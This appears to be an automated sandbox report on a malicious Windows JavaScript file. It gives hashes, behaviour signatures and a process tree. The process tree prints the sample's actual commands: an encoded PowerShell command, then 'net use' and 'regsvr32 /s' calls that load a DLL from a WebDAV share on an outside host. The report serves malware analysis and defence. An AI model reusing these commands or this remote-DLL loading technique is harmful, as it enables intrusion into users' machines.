Analysis

  • max time kernel
    141s
  • max time network
    132s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/08/2024, 14:24

General

  • Target

    0ccab7ee33d7df3019bc2fe3db322200e2f4ec72c452a2898eeb538bbdb37c8d.js

  • Size

    8KB

  • MD5

    e3b5daf706514a8e30a0ae82d9a39865

  • SHA1

    cb420f4cdc47edac88ef650c5caf06ccfaf07384

  • SHA256

    0ccab7ee33d7df3019bc2fe3db322200e2f4ec72c452a2898eeb538bbdb37c8d

  • SHA512

    ac6d59af4761dac503857f877111fd8a58c2d9d6078a0b8f7a83b866877437cfb7ef0ef281ad99ffea3917c930f382afca957c959cd3931591e89a31034b3a66

  • SSDEEP

    96:YL5ROaWK9Q5rC0r8PrdqnRZiZOESkaoqbnXCAGNlwM1s02msBwqbnXCAGNZqK4UD:aWK3Pxq3uNut4NvrJd

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\0ccab7ee33d7df3019bc2fe3db322200e2f4ec72c452a2898eeb538bbdb37c8d.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1884
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADIAOAAxADQAOAAyADAAMgAwADAAMgA5ADkANAAyAC4AZABsAGwA
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4932
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:2704
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\281482020029942.dll
          3⤵
            PID:2000

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m3cvj4f5.xll.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/4932-0-0x00007FF830C63000-0x00007FF830C65000-memory.dmp

        Filesize

        8KB

      • memory/4932-3-0x0000020EA6D30000-0x0000020EA6D52000-memory.dmp

        Filesize

        136KB

      • memory/4932-11-0x00007FF830C60000-0x00007FF831721000-memory.dmp

        Filesize

        10.8MB

      • memory/4932-12-0x00007FF830C60000-0x00007FF831721000-memory.dmp

        Filesize

        10.8MB

      • memory/4932-15-0x00007FF830C60000-0x00007FF831721000-memory.dmp

        Filesize

        10.8MB